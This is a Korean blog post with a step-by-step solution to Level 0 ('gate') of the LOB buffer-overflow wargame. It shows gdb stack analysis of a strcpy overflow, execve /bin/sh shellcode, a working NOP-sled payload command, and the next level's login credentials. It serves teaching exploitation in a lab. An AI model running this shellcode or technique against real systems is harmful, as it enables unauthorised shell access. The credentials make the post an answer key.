CafeM0ca

Level0 gate 본문

Hacking/LOB(Red Hat)

Level0 gate

M0ca 2017. 8. 22. 00:10
반응형

ID:gate

password:gate


첫 발걸음을 때보자!


처음 파일을 ls명령으로 확인해보니 gremlin과 gremlin.c가 있었다.

소스코드를 확인해보니 argv로 인자를 전달받고 buffer가 256바이트이며 strcpy로 argv[1]을 버퍼에 복사한다. 


원본파일(gremlin)은 gdb로 디버깅이 안되니 복사본(gremlia)를 만들었다. 이름은 어떻게되든 상관없으나 글자 수는 맞춰주자!

여기서! strcpy부분에 만약 argv[1]이 buffer보다 큰 메모리를 가지고 있다면 buffer는 argv[1]의 메모리가 초과하여 오버플로우가 발생한다.


이제 gdb로 디버깅하여 스택을 살펴보자! 그리고 리턴주소를 찾아 아래의 쉘코드를 삽입하면 우리는 쉘을 획득할 수 있다.

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80




이제 gdb -q gremlia를 입력하자! 그리고

disas main을 입력하면 아래와 같이 어셈블리를 확인할 수 있다.

브레이크 포인트는 main+82부분에 잡아주자.

b * main+82


다음으로 argv에 인자를 전달할 것이다. 이 때 사용하는 스크립트는 python 스크립트를 사용하겠다.(perl을 써도 된다.)


r `python -c 'pirnt "A"*260+"\xaa\xbb\xcc\xdd"+"\x90"*200'`

위의 스크립트가 메모리에 어떻게 쌓이게 되냐면

스택의 낮은주소                         스택의 높은주소

buffer 256 | SFP 4 | RET 4 |   // 쌓이기 전

buffer A*260        | RET(\xaa\xbb\xcc\xdd) | NOP 200



(사진상의 스크립트는 `python -c 'print "A"*260+"\xaa\xbb\xcc\xdd"+"\x90"*50'`이지만 "\x90"*200으로 바꿔주자! 공격성공 확률을 높이기 위해)


공격 스크립트(페이로드)를 NOP뒤에 쉘코드를 삽입할거다., 만약에 RET주소가 NOP주소로 설정하면 NOP을 타고 쉘코드가 있는 부분까지 가서 쉘코드를 실행하는 원리인데 쉘코드가 실행되면서 쉘(권한)을 획득할 수 있다. (NOP을 넉넉하게 200이상 정도 넣어주면 공격성공 확률을 높일 수 있다.)


우선 NOP의 주소를 찾아보자! \xaa\xbb\xcc\xdd(리틀엔디언) 뒤쪽에 NOP이 있다. 그중에서 아무 주소나 가지고 오면 된다!




모카는 0xbffffbf8의 주소를 사용하겠다.

gdb에서 q명령어로 나오자.(quit)


이제 원본파일에 아까 작성한 스크립트에서 \xaa\xbb\xcc\xdd부분을 0xbffffbf8을 리틀엔디언으로 적고 \x90(NOP) 뒤에 쉘코드를 삽입하면 쉘을 획득할 수 있다.


최종 페이로드 


./gremlin `python -c 'print "A"*260+"\xf8\xfb\xff\xbf"+"\x90"*200+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`



다음 ID: gremlin

다음 password: hello bof world

반응형

'Hacking > LOB(Red Hat)' 카테고리의 다른 글

level4 orc  (0) 2017.09.14
Level3 goblin  (0) 2017.09.13
Level2 cobolt  (0) 2017.08.24
Level1 gremlin  (0) 2017.08.22
[LOB]풀이를 시작하기전에 필독  (0) 2017.08.21
Comments